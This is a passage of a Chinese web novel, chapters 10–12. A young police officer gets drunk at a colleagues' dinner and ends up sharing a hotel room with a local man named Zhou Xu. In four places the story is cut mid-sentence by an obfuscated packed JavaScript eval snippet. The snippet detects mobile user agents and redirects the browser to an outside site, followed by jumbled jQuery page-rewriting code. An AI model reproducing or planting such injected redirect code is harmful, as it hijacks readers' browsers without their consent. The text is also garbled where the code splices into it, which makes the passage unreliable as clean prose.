方秉雪给矿泉水瓶子拧好,放回桌上,扭脸看了这郁闷的小警察一眼,决定还是做不扫兴的家长。 “你已经很厉害了,”他坐在马睿对面,“我刚上班的时候,别说是遇见嫌疑人了,看到街头的大狗都害怕。” 马睿愣了下:“真的?” “真的,”方秉雪淡淡道,“当时我师父天天骂我,老刑警嘛,可凶了,说话的时候不客气,劈头盖脸就吵。” 他又随口讲了几件糗事,听着听着,马睿的神色明显松快下来,认真道:“可是,你现在很厉害啊!” 方秉雪对于夸奖毫不羞赧:“谢谢。” 他的履历太漂亮了,学历好,形象好,连着参与了几个省级的专项行动,拿了奖,立了功,仕途可谓青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230023|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云直上。 这会儿该到午饭时间了,趁着周围同事们休息,马睿凑近过来:“所、所以你是为了基层经验,什么镀金,才来我们这里的吗?” 说完,他立刻补充:“我可没有这样想你啊!” “没关系啊,”方秉雪笑了,“你这样想也行。” 反正论人论迹不论心,方秉雪不在乎别人怎么看他,也没想着去挣什么东西,他觉得自己现在挺自在的,舒服极了。 但是片刻后,方秉雪不舒服了。 因为有一条小黑狗,正远远地冲他龇牙,目露凶光。 “雪饼你先跑,”马睿这会讲义气了,挤眉弄眼地开玩笑,“你不是怕狗吗,我来保护你!” 方秉雪:“……” 说来惭愧,他从小到大的动物缘都不太好,无论是常见的猫狗,还是动物园里的骆驼大象,见到他都爱理不理的。 比如小学时,他们学校后门有只很漂亮的三花猫,见人就翻肚皮,偏偏在遇见方秉雪的时候,利落地从地上爬起,高贵冷艳地竖着尾巴离开。 方秉雪很记仇的。 之后每次放学时,他一定要赶在对方有反应前先行动,转身就走,表示我才不想摸你呢。 别的小朋友只当他爱干净。 只有在三花睡着的时候——那会儿他们合伙做了个小猫窝,就搁在学校保安室的屋檐下,防风挡雨,里面垫的还是方秉雪最喜欢的小毛毯。 他拿去给猫了,说这个软和,最暖了。 所以,趁着周围没人,三花呼呼大睡,方秉雪就做贼似的伸手,小心地摸了摸小猫的尾巴尖。 毛绒绒的。 他也不是怕狗,那会儿纯粹为了安慰马睿,毕竟让郁闷的朋友快速好转,最佳解就是说一件自己更倒霉的事。 方秉雪只说了自己害怕街头的大狗。 却没说那是一群发狂的比特犬,肌肉发达,兴奋阈值低,已经咬伤了人。 还好这是一只很小的狗,可能还没成年,龇牙咧嘴的时候也很可爱,方秉雪转身,用自己沉默的背影表示抗议。 与此同时,横幅后面传来一声响亮的招呼:“旭哥,你怎么来了?” 男人还是那副懒洋洋的语调,没个正行:“听说能领鸡蛋。” “哈哈你净会开玩笑!” 方秉雪唰地一下,又转回来了。 他的动作太快了,马睿还未察觉,只是愤慨地挥拳道:“可恶啊,这些谣言都是怎么产生的……哎,雪饼你人呢?” 刚才不是好好的,还在这里坐着吗? 今天出来的民警分成三队,他们这一波也就七八个人,马睿疑惑地找了好一会儿,终于见到了方秉雪的身影。 在人群后面的街道上。 这条街没有红绿灯,来往的行人也少,在沿途的摊贩和商家中显得很不起眼,更遑论只是过个马路而已。 可谓平平无奇。 马睿却睁大了眼睛。 只见方秉雪扶着一个老奶奶,正缓步往街道对面走去,如果不是一身警服,旁人肯定以为这俩是亲人,因为两人的肢体语言都很自然,在正午的阳光下特别温馨。 马睿愣住了。 方秉雪竟如此挂念群众,聊天的间隙,还不忘记去扶老奶奶过马路! 年轻的小警察被感染到,目光逐渐坚定。 对方秉雪肃然起敬。 10.第 10 章 躲,在很多情况下都是因为心虚。 方秉雪都不知道自己心虚个什么劲,发现周旭就在附近的瞬间,他毫不犹豫地行动起来—— 跑了。 跑得还一点都不帅。 回到局里换了衣服,又在洗手池洗了把脸,方秉雪心中那点小小的郁闷才终于消解,一扭头,马睿笔直地站在自己后面,神情严肃。 方秉雪吓了一跳:“你怎么了?” 马睿一本正经:“向你致敬。” 方秉雪这才反应过来,伸手,不大好意思地刮了刮脸颊:“啊……” 今天是趁着周末做的反扒宣传,工作收完尾,大家就三三两两地散了,方秉雪跟人打过招呼,正往外走呢听见人叫他,说一块儿吃个饭。 方秉雪驻足:“不了,我得去买点衣服。” 他来西北带的行李不多,生活里被照顾惯了,有点懒,想着到地方了再买就行,眼看着天越来越热,就打算去步行街那边逛逛,随手买两件。 “走呗,咱们又不是去食堂。” 叫他的是老闫的徒弟,局里都喊他小李,也是一张有点黑的圆脸,人很和气,笑吟吟的模样:“你都来这么久了,还一直没给你接风洗尘。” 方秉雪连连摆手:“哎呀,客套这些。” 他到的时候局里正忙,从李文斌到马睿都焦头烂额的,连吃完饭歇会儿都嫌奢侈,目前案件进展方秉雪不清楚,但看大家松快的神色,应该已经差不多了。 小李穿了件棕色格子衬衫,敞着怀,里面是个纯白色的短袖,还戴着个框架眼镜,特像大学里的理工科男生,举手投足也规矩:“不行,师父老早就说了,今天一定请,让我蹲守你呢。” 他说着就冲方秉雪眨眼睛:“放心,头儿们都不在。” 方秉雪想了想,笑了:“行,谢谢了啊。” 话都说到这地步了,再拒绝就显得不近人情,并且听小李的意思,这顿饭就是同事们一块儿放松下——打黑除恶仍是高压态势,对于脱下藏蓝制服的基层警察来说,能够在下班时间获得片刻安宁,已是难得享受。 “干了!” 包间里,啤酒杯“当啷”地碰撞在一起,绵密的白色泡沫跟小型雪崩似的往下淌,老闫大手一挥:“来,欢迎小方!” “按理说早都该请了,但是之前太忙,实在挤不出来时间。” 老闫嗓门嘹亮:“今天大家都有空,吃好喝好,不醉不归啊!” 方秉雪挤在中间:“谢谢……” 太热闹了。 一群西北汉子好容易卸下劲儿,各个都成了人来疯,连马睿都红光满面地跟人划拳,桌子上摆着大份的手抓羊肉,入口毫无腥膻,全是鲜美的甘甜,还有和泡椒一块爆炒的羊肝,辣面片,扣肉丸子,满满地摆了一桌,方秉雪吃了不少——没办法,今晚气氛热火朝天,白的啤的一块上,不多吃点菜胃受不了。 大家七嘴八舌地聊着天,啥都说,就是不谈工作的事,小李被师父交代过了,盯得紧,谁敢起个头立马制止:“吃菜,吃菜!” 毕竟工作没法聊,只要起个头,这顿饭就别想按时结束。 可能是小李太年轻,也可能是眼镜框被溅上了油星看不清,不知道谁最先开的口,一桌子警察又开始讨论起了案情,在酒精的作用下,一时间群情激奋,几挥老拳。 方秉雪环视一圈,心中赞叹还好老闫有先见之明,提前开的包间。 不然就这架势,肯定引得旁边客人不满。 但他这会儿头有点晕,一开始被问能不能喝酒的时候,他爽快地说了个行,想着几瓶啤酒而已,算不了啥,方秉雪酒量一般,基本的场合还是能应付得了,没想到桌上不仅有啤酒,还有红川特曲。 这款酒主打的就是“三斤粮食一斤酒”,扎实,劲儿大,方秉雪头一次喝有点不习惯,这会儿支着脑袋看人,笑着不说话。 不过今晚,他的话一直不多,大部分情况下都是听别人讲。 轮到他敬酒了,方秉雪转了一圈回来,刚坐下马睿就凑过来,惊奇道:“可以啊,我看你脚步一点也不飘!” 方秉雪笑眯眯的:“嗯,我酒量好。” “真的吗,”马睿有些兴奋,“再来一杯!” 还是小李给酒瓶夺过去:“行了,别真喝多醉了,明天起来头疼。” 方秉雪摇头:“我没醉,我去一趟洗手间……不用陪着啊,我自己去。” 他说着就站起来,真的脚步稳重,行动间没有半点酒醉的影子,除了脸颊稍微有点红:“在哪儿来着?” 小李有点担心:“出了包间右拐,直走到尽头就行了。” 方秉雪还在笑:“好,谢谢。” 老闫已经喝多了,外套什么都脱了,身上就一件松垮的背心:“说到包间,今天真得感谢周旭,不然就订不到……他人呢,叫过来喝一杯!” 马睿来得晚,不明所以地看小李,小李也不太清楚,就也转头去看别人——老闫右手边是位法医,正面无表情地用叉子剥虾:“周旭住的离这儿远,你怎么叫?” “打电话,往他店里打电话!” “行了,”法医动作不停,“周旭最烦警察,你让他过来跟一群条子吃饭,这不是找着让他甩脸子……喂!别碰我的解剖台!” 马睿默默地缩了下胳膊,小心翼翼地不挨着对方的餐盘。 方秉雪都走到门口了,才慢吞吞地转身:“周旭……是谁啊?” 他怎么感觉,这个名字很耳熟。 “旭哥啊,”席上乱糟糟的,不知道是谁接了话,“他在县上挺有名的,混得开,啥都干。” 方秉雪“哦”了一声,混沌的脑海里终于清明些许:“是不是那个头很高,有点凶的……他落网了吗?” “什么落网?” 对方笑了起来:“看着特像黑恶分子,其实人挺好的,你是不是没见过?他主要在城西那住,离咱远,不太来这边。” 方秉雪又“哦”了一声。 一出门,就被热浪扑了一脸,这两日天气暖和,人们都出来在街头吃饭,烧烤摊已经摆起来了,黑色落地大风扇呼呼作响,给带着孜然辣椒的香味往天上刮,外面坐的全是人,里面的包间也都满了,方秉雪一路走,遇见了三个传菜的服务员,各个脚不沾地忙得生烟。 结果进了洗手间,方秉雪稍微有点嫌弃。 不是说环境差,他都干刑警了哪儿怕脏啊,主要是有醉汉刚在里头吐过,还充斥着一股难闻的味道,他皱着眉头转身,往前走了几步,突然愣住了。 他这是在哪儿来着? 方秉雪之前也喝醉过,但他酒品还行,到家洗完澡就呼呼大睡,很少有这样茫然的时刻。 走廊狭窄,天花板被油烟熏得发黄,两侧贴着花里胡哨的菜品介绍,方秉雪低头观察,红色的防滑地毯已经被踩薄,显示出岁月的沉淀。 他想,这里一定是家开了很多年的饭店,相对而言老板社交面广,如果有犯罪分子藏身的话,可能会去楼上的房间,那里在楼房外侧搭了个铁制梯子,能够通到后面的小巷。 不行。 方秉雪使劲儿揉了揉脸,捋了下自己的情形,他和同事们一块出来吃饭,要去洗手间的时候,听他们聊到了周旭…… “你没长眼啊?” 方秉雪的手还没从脸上离开,愣愣地抬头,神情恍惚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240635|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 做梦一般。 周旭站在他对面。 头顶是白炽灯的光,周围是远远的嘈杂和油烟味,一个高大的男人低头看他,嘴里咬着烟,脸色有些不耐:“挡着路了。” 方秉雪张了张嘴,没发出声音。 周旭老远就看见他了,跟梦游似的杵着,脸和耳朵都红透了,一个劲儿揉自己的脸,他本来想当没看见的,但这傻子一动不动地站在走廊中间,都没法儿擦肩而过。 他眯着眼睛:“喝多了?” 方秉雪立马用手给脸捂住,挡住一片红晕:“没有。” 但一开口,嗓子都明显地哑了。 周旭:“……” 他无奈地左右看了看,想着这人出来吃饭,怎么也没个朋友陪着呢,都不怕被坏人领走了? 不怪周旭这样想,主要方秉雪眼看被西北的酒泡透了,泡软了,泡得整个人都成酡红的棉花。 “你在哪个房间,”周旭耐着性子,“我去叫你朋友来。” 方秉雪从指缝里看人:“不告诉你。” 周旭顿了下,气笑了。 “神经病,”他给烟丢了,朝方秉雪走了两步,“你是不是外地来的,在这不认识人?” 否则,干嘛吃个饭的功夫跑到仓库这边的小道上,还堵在中间不动弹。 方秉雪垂着头,认真思考—— 告诉对方自己是从哪儿来的,是否违反纪律,暴露信息? 片刻后,他得出结论:不违反。 “嗯,”方秉雪的手指头阖上,严严实实地挡着脸,“我外地来的。” 周旭看着他的醉样,实在好笑:“行了,你到底在哪个房间?” 方秉雪继续思考,但两秒钟后就放弃了,一方面是大脑已经快要宕机,另一方面则是,他忘记自己的包间号了。 走廊上,弥漫着尴尬的沉默。 周旭“嘶”了一声:“算了,我带你去前台。” 刚才还跟石像似的杵着的人,立马摇头:“不去。” “……随便你吧,”周旭懒得再废话,准备去找个服务员来领人,他不喜欢跟醉鬼打交道,费事,折腾,“外地人就别逞强,喝那么多干吗?” 方秉雪“唰”地给手放下:“我没逞强。” “你脸都红透了。” “那是因为我皮肤好。” 周旭没忍住笑了,觉得这一本正经的小醉鬼实在有趣,他打量了两眼:“嗯,皮肤是挺好。” “因为我妈妈是幼儿园老师!” 方秉雪突然仰起脸,往他这边凑过来:“以前每次节假日,幼儿园都会发很多的香香,什么郁美净青蛙王子儿童霜,用不完,我妈妈怕浪费嘛,就使劲儿给我抹,所以我皮肤特别好。” 他思考过了,这些内容不违反保密原则和纪律,可以说的! 走廊本来就狭窄,方秉雪一往前,周旭就得往后退。 可他还在继续走,很开心的模样:“我都感觉自己腌入味了——” 周旭已经退无可退,后背贴到了墙上,两人的鞋子几乎都要挨着,再往前一步,方秉雪就得踩在他的脚上。 方秉雪把脸凑过去,眼眸朦胧,神色骄傲又认真:“你闻闻看,是不是很香?” 大脑昏沉,周围一切都变得模糊,只有对面的人是真切的,还能闻到淡淡的烟草味。 却没了刚才的气势,不再嚣张,像是屏住呼吸,一动不动。 方秉雪本来就想去洗手间,没找到地方,正难受呢,这会儿别人还不信他的话,就不高兴了:“你闻闻呀!” 过了会儿,周旭才把头偏过去,舔了下嘴唇。 “香。” 11.第 11 章 方秉雪这才满意。 他慢吞吞地后退,很直白地打量周旭,视线从上刮到下,再刮回来,讲真,有点不太礼貌了,这要是搁东北,高低都得来一句你瞅啥,说不定还要比划两下。 但周旭没反应。 自从方秉雪步步紧逼,他步步后退之后,这人的眼神就有点虚了,当俩人的身体几乎相贴,方秉雪把脸凑过来时,那短密的睫毛就快速地眨了几下。 然后,周旭偏头过去,没再看对方。 也就错过了方秉雪的目光。 “行了,”周旭清了清嗓子,冷硬着脸,“我带你去找人。” 领到前台拉倒,他伺候不了这种醉鬼。 可醉鬼还是杵着不动,仰着下巴,一副你奈我何的模样。 周旭耐心有限:“你到底要干什么?” 方秉雪开口的时候,感觉喉咙里还滚着一团火,语速无意识地放软,放慢,像在撒娇:“上厕所……未遂。” “你不早说。” 周旭直接伸手,一把拽着对方的小臂:“走。” 方秉雪没防备,被带着往前踉跄了好几步,他这会儿腿窝是软的,身体差点不受控地跟上,感觉自己像是被人用摩托载着狂飙,速度很快,晕眩感骤然出现,方秉雪往外挣:“慢、慢点——” “就在前面拐角,”周旭都没回头,“你刚是不是走错地了?” 方秉雪还在叫:“你等一下……” 可周旭不肯回头。 他的肩膀真的很宽,手又很大,不由分说地握着方秉雪手腕上面的一截,攥得很紧,攥了整圈,拇指轻松地挨住中指,方秉雪盯着那铁钳似的手,心想,周旭的掌围大概是28厘米,按这样推测的话,身高…… 可他没法儿继续想了。 粮食酒的后劲儿强烈地往上涌,方秉雪皱眉,抬高音量:“我让你停下!” 周旭这才站住,终于松手:“到了。” 饭店的厕所很小,破旧的木门半开,里头的插销毫无生机地耷拉下来,周旭还有心思调笑:“等会别在里头睡着……” 他不笑了。 因为方秉雪猛地转身过来,表情痛苦地,吐了。 很嫌弃自己似的,边吐边叫,说好脏啊,怎么这么脏啊! 他双手抓着周旭的衣襟,像是好容易在这乱七八糟的环境里,找到了唯一可靠的依托,健康而蓬勃,带着旺盛的生命力,腿软,撑不住身体,方秉雪眼泪都呛出来了,脸色苍白。 周旭腮帮子绷得很紧,脸色很臭。 他按着方秉雪的脑门,给人往外推,可就这一下的动作,对方像是被抽走了骨架似的,眼看就要往地上跌,周旭眼疾手快地伸手,揪住对方的领口:“站好!” 已经有保洁员听见动静过来了,拎着拖把,见怪不怪的样子:“别踩得哪儿都是啊。” 周旭身上被弄脏了,方秉雪比他更脏,几乎无从下手,听见动静后,这人才艰难地回头,从自己衣兜里摸了摸,找出张纸币递过去:“不好意思……” 保洁年龄挺大的,见状就笑了:“哎呀,不用不用,你们赶紧去收拾收拾吧!” 与此同时,方秉雪的手机正好响起,周旭已经受不了了,狂吼着催促:“快接,让人来接你!” 他一边吼,一边扯出纸巾,胡乱地给方秉雪擦脸,太狼狈了,脸上全是泪,额发黏在了脸颊上,就是周旭手法太粗暴,几乎是照着脸呼噜,方秉雪的脑袋都被带得晃了好几下。 手机是拿出来了,但是醉鬼手不稳,几次都没给翻盖打开,周旭直接夺过来,拇指顶开折叠屏,递到对方面前。 看到显示屏上的“小李”,方秉雪不动了。 他迷迷糊糊地想,今天是不是工作日,喝酒符合纪律要求吗,有没有报备? 这些周旭自然不知,他只感觉旁边的人突然安静下来,清了清嗓子:“喂?” “雪饼你在哪儿呢,”小李的声音传来,“怎么半天不见你?” 方秉雪还在微微喘气:“我喝多了头疼,自己先走了……不好意思啊。” 对面笑起来:“哎呀,我就说这酒劲儿大,他们还一个劲儿起哄,你怎么回去的啊,有人送你吗?” 方秉雪毫不犹豫:“有人送的,放心……啊!” 小李“咦”了一声:“你怎么了?” 没什么,是周旭擦完脸,又粗鲁地用纸巾给对方擤了下鼻子,手劲儿大,可能把人捏疼了。 “真没事?” “嗯,放心吧。” 好容易敷衍过去,挂了电话,人又恢复成那种迟钝茫然的状态,周旭也打了个简单的电话,然后把擦完手的纸巾一块丢地上,对保洁说了句什么,对方立刻喜笑颜开地点头,说应该的。 刚说完,方秉雪凑过来了,直勾勾地盯着他。 两秒钟后,周旭伸手按住对方的脑门,又给人往外推了推:“离我远点。” 那人可能还没醒完酒,皮肤挨着烫乎乎的,但还要坚持往前,抵着周旭的掌心,突然笑了。 笑得周旭心里发毛,唰地一下,给手收回去了。 “旭哥,”方秉雪笑着说,“你这是要去哪儿换衣服,带我一块呗?” 周旭转身,拔腿就走。 方秉雪在后面跟着,经过拐角的时候,还低着头挡脸,嫌现在的自己太难看,身上脏,怕人看见。 到了楼梯口,周旭停住,对方没看路,一头撞到他的后背上,不动了。 周旭黑着脸:“你谁啊,我让你跟了吗?” “不行,”方秉雪哑着嗓子,“我又想吐了,你快点。” 周旭:“……” 他彻底没了脾气,认命地带着人上到了三楼——这家店是个朋友开的,生意爆好,今晚公安局一个叫老闫的熟人拜托他,说帮忙留个包间,周旭正好在附近办事,想着过来见个面,喝一杯就走。 结果,就被这祖宗给粘上了。 三楼是住宿的,一排红木门的小房间,周旭从服务员手里接过钥匙,开门的瞬间,方秉雪就飞也似地冲了进去,钻进厕所继续吐。 周旭给上衣脱了,皱着眉头检查了下。 他这边的情况稍微好点,基本只在衣角和鞋子上沾了些秽物,没那么狼狈。 里面传来呜呜咽咽的声音,还在嚎,说我真的好脏啊,我不香了。 周旭无语了,他就这样赤着上身走过去,靠住厕所门框:“你行不行?” 方秉雪两手撑在马桶上,弯着腰,咳得肩膀一抽一抽的,可能是真的很嫌弃自己,开着换气扇,一边吐,还要一边按抽水键。 缓了好一会儿,方秉雪扯了张纸巾擦脸,又去洗手池那洗了洗,扭头过来:“……好了。” 真是吐得太急了,脸颊上爆出好几道细小的血丝,衬得眼尾格外的红,嘴唇也湿淋淋的。 周旭冷笑:“刚才不是挺厉害的?” 方秉雪摇头。 周旭见不得这种磨唧样,直接赶人:“你先出去,我洗完澡就走,房间给你开好了。” 他看对方醉成这样,今天别想能顺利回家。 方秉雪低低地“哦”了一声,给人家让位,刚往外走了两步,就听见厕所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243842|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门“砰”地一声砸上了。 而花洒的水声,也瞬间响起。 酒精全部吐出去后,神智清明些许,方秉雪浑身一僵,不对,他突然反应过来一件很重要的事—— 他还没上厕所! “周旭!” 方秉雪拍着厕所的门:“你先别洗,我要上个厕所!” “神经病,刚才怎么不说?” 哗啦啦的水声里混杂着男人的吼声:“憋着!” 方秉雪脑子彻底清醒了,一切的发生,就是从他要出来上厕所开始的,莫名其妙地搞成这样,他咬着牙:“你还有多久,不行我出去找……” “你爱去哪儿去哪儿!” 很好,方秉雪倒抽一口凉气,骂了句操。 他顾不上自己还穿着脏衣服了,扭头就往外走,转动门把手的瞬间,后面传来很响的一声。 周旭给厕所门踹开了。 花洒都没关,他就草草地在腰间系了条白毛巾,脸色黑得吓人:“过来!” 事到如今,已经没有什么脸可以在乎的了,方秉雪破罐子破摔地回去,表情麻木。 周旭没有给他让开,抱着胳膊打量。 方秉雪做了个深呼吸:“让开。” “刚才,你就是这样在走廊上堵我的,”周旭挑了下眉,“是不是因为河里那会,我抽了你一巴掌,所以你逮着机会报复我呢?” 方秉雪的嘴紧紧抿着,从咽喉里挤出:“等会再说——” “先说啊,”周旭姿态怠懒,笑意带了点无赖:“是不是故意的?” 他也不是有心欺负人,就是今晚着实郁闷,莫名其妙被拦着吐了一身,等会还得找朋友帮忙送衣服,肯定得出口恶气。 “周旭,”方秉雪目光平静,“你再不让我进去,耗着时间,我可能就要弄你身上了。” 周旭愣了下:“什么?” 而话音落下的瞬间,他立刻反应了过来,整张脸以肉眼可见的速度腾一下红了:“你、你说什么呢!” 方秉雪看着他:“我说,你再这样拦着我,我弄你身上,你还得收拾。” 周旭傻了,成了个锯嘴的葫芦。 而身体已经率先做出反应—— 老老实实地侧身,给人家让出位置。 然后走到床铺那,坐下,使劲儿搓了搓脸。 怎么说呢,方秉雪这人长得好看,端方清隽,唇红齿白的,这种长相容易给人留下不经逗的错觉,事实上,除了最开始惊鸿一瞥的杀机外,周旭总觉得这人看着腼腆,像知识分子。 怎么就能堂而皇之的,说这样的话呢。 不知羞! 那会儿凑过来的时候,周旭都没好意思真的闻,只当这人喝醉,打发过去就得了,那么现在已经醒酒,还能坦然地厚着脸皮,给他搞得有些招架不住。 正想着呢,厕所那边突然传来声音,周旭没听清,抬头“啊”了一声。 隔着门,混着水流,微哑的嗓音显得很黏糊:“我说,我衣服弄湿了,洗完澡再出来!” 周旭站起来:“哦,好的,我知道了。” 那边不吭声了,只留下水声。 哗啦啦,哗啦啦—— 仿佛海浪温柔地冲刷着沙滩。 周旭又坐回去了,目光落在厕所门口,那是对方进去时脱下的鞋子,一双白色球鞋,竟然干干净净的,没有半分污垢。 看来吐的时候上了心,避开了自己的鞋。 周旭沉默地看了会儿,脑海中莫名出现一个想法,就是那个叫什么雪饼的人。 脚还挺小的。 12.第 12 章 方秉雪趁着洗澡,给脱下来的脏衣服也搓了。 这里住宿条件不太好,厕所局促而狭小,洗澡时得小心地侧身,避开锈迹斑驳的金属置物架,没有洗衣粉,方秉雪找到块香皂,将就着给衣服揉搓干净了,同时绝望叹气。 这都叫什么事啊。 没过多久,花洒声停下。 方秉雪环视一圈,愣是没找着条能擦身体的浴巾,他胳膊肘搭在门把手上,闭了闭眼:“我……” 话没说完。 因为方秉雪突然意识到个问题,他跟周旭都是男的,即使他俩不熟,这样赤条条地走出去也不算什么,关键是王川那个缺德带冒烟的搞了场误会,现在周旭心目中,说不定他是个搞男人的。 要知道,三年前卫生部发布的《中国精神障碍分类与诊断标准》中,才将同性恋从精神疾病范畴中剔除,即便如此,不少人依然强烈反对,而在偏远的西北小县城,民众只会更加保守。 不对。 方秉雪瞳孔一震。 他又不是同性恋,怕什么! 并且说不定周旭没听过这个谣言,就更不用慌! “有浴巾吗,”方秉雪给门推开个小缝,“里面怎么都没东西。” 他没往外看,不知道周旭现在是什么情形,就听见个微哑磁性的嗓音,像是正在抽烟:“我围着呢。” “那我拿什么擦?” “用衣服啊,”周旭有些敷衍,“随便擦下得了。” 方秉雪顿了下:“我洗了。” 片刻后,传来轻微的“滋啦”一声,应该是烟头被按进一次性塑料杯里,和杯底的水相碰撞。 脚步声逼近。 “全洗了?” 方秉雪“嗯”了一声。 他属于那种要么不干,要么就要做彻底的人,比如工作日一般不收拾家务,换下来的衣服在椅子上堆老高,等到周末,或者哪天心血来潮,能给天花板的缝隙都给清理一新,所以刚才顺手,给所有的衣物全部搓洗了。 包括内裤。 他的酒意已经冲洗殆尽了,这会儿身上是廉价香皂的气息,清洁,湿润,和着温热的水汽一块儿往外冒,盖住了凌冽的烟草味。 门缝里出现了周旭的手臂,小麦色的皮肤,青筋明显。 “用这个,干净衣服等会就送来了。” 方秉雪往外推开了点:“好。” 接过来的时候,那件黑色短袖似乎还带着体温,方秉雪草草地擦了下身体,头都没抬:“那我先穿着了?” “随便。” 方秉雪给衣服套身上,推门出去,讲真,他这会儿腿还有点软,感觉自己变成了一场暴风雨后的废墟。 周旭看了他一眼,站起来,给窗户关上了。 外面的云沉沉地往下压,像是要下雨。 屋里还有点浅淡的烟味,没衣架,方秉雪走到窗边,将洗好的衣服挂在把手上,勉强弄好了,转身一看,周旭已经躺回床上,枕着胳膊不说话,盯着天花板发呆。 这是个标间,两张单人床距离很近,中间挤着了个小床头柜,上面摆着黑色的固定电话,方秉雪也坐到床上,随手扯过被子,搭在身上。 都没说话,太安静了。 以至于,到了诡异的地步。 这个角度,方秉雪也只能盯着天花板,他总不可能转头去看周旭,怪怪的,毕竟俩人都可以称得上“衣不蔽体”,不怎么体面。 幸好周旭这件衣服挺大,在方秉雪身上显得很宽松,能直接盖住大腿根,他就这样捏着潮湿的衣角,沉默地发呆。 过了会儿,周旭受不了似的撑起身子,按下电话键:“衣服怎么还没送来,老王人呢?” 接电话的是个年轻的女声,脆生生的:“我再给您催催!” 可能是为了让方秉雪听见,他还特意按的扩音,挂完电话后,周旭从烟盒里抽出支烟,都要去摸打火机了,又给烟放回去了。 方秉雪不动声色地收回目光,心想,第一次见面的时候,他跟人家说自己不抽烟。 但也不至于说,周旭这会给烟收起来是为了顾忌他,方秉雪没那么自恋,他喉咙刚被胃酸灼过,还有点疼,但神智已经基本清醒了:“衣服有我的吗?” 周旭横他一眼:“没。” 方秉雪扭脸看过去:“那我穿什么啊?” “光着。” “不合适吧。” 话音一落,俩人都笑了,难言的凝固气氛也松快许多,周旭给烟咬在嘴里,没点燃,重新枕着自己胳膊看天花板:“衣服有,但没给你拿鞋。” 方秉雪认真道:“没事,反正我没吐自己鞋上。” “操,”周旭气笑了,“你瞄得还挺准,你这小王八蛋就是冲着我来的。” 方秉雪就跟着笑。 周旭“嗤”了一声:“我就应该随便擦擦,然后回家洗澡睡觉的,费这事。” 他说话的时候,还是不眨眼地盯着天花板看,像是上面有花,从方秉雪的角度看过去,男人下颌线很清晰,滚动的喉结下面,是饱满漂亮的胸肌。 被子只拉到了腹部,露出大半精壮身躯。 头面部没发现凹陷或者增生,说明没有过钝器撞击,手臂外侧倒是有锐器划伤的线性疤痕,可能时间长了,已经是浅浅一道的白,方秉雪看不到后背,不知道是否有条状挫伤,这也是街头斗殴最常见的棍棒—— “看屁啊!” 周旭给烟头丢了,凶狠地瞪着他,像是说完才反应过来,又骂了句操,就把被子往上一拉,胡乱地盖住身体。 方秉雪默默地移开目光。 “不是你现在没衣服穿,老子一定给你扔出去,”周旭粗声粗气地吼,“神经病,看什么看,再看剜你眼!” 方秉雪随便他骂,他算是看明白了,周旭这人大概率不常跟人斗殴,不是那种混迹街头的小流氓,有没有案底另说,但起码目前来看,是个遵纪守法的群众。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250631|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不然,老闫也不会托他办事。 周旭骂了会儿,见人没反应,更恼了,一边给被子往上拉到下巴颏,一边凶道:“喂,等会衣服送到了你就滚!” 方秉雪懒懒的:“不是你说,洗完澡你走吗?” “老子都没洗完!” “那你继续啊,谁拦你了?” 周旭怒道:“放屁,我才不在这里,我要回家洗!” 方秉雪“噗嗤”一声,乐了。 与此同时,外面终于传来了敲门声,周旭跳下床开门,随即抱了堆衣服回来,“哗啦”一下丢床上,方秉雪睁大眼睛:“这么多?” 周旭没搭理他,拿了件衣服套头上了,拎裤子的时候看了方秉雪一眼,进了厕所。 趁这个机会,方秉雪也赶紧找出件运动裤穿着了,灰色宽松款,偏大了,好在腰间有抽绳,能系带。 所以周旭出来的时候,就看到方秉雪在绑那个结,一拉一扯,显得腰很窄的样子。 他穿好了,就大喇喇地抱着肩站,语气不怎么耐烦:“你明天走的时候,衣服留房间就行。” 方秉雪没抬头:“哎呀,真不好意思。” 周旭冷笑:“不用不好意思,我的鞋得送去刷,给我二十。” 他说着就朝方秉雪伸手。 方秉雪到底还是喝多了,不舒服,干脆抓着周旭的小臂站起来,去钱包里找了张纸币——洗衣服那会提前拿出来了,就搁在放电视机的桌子上。 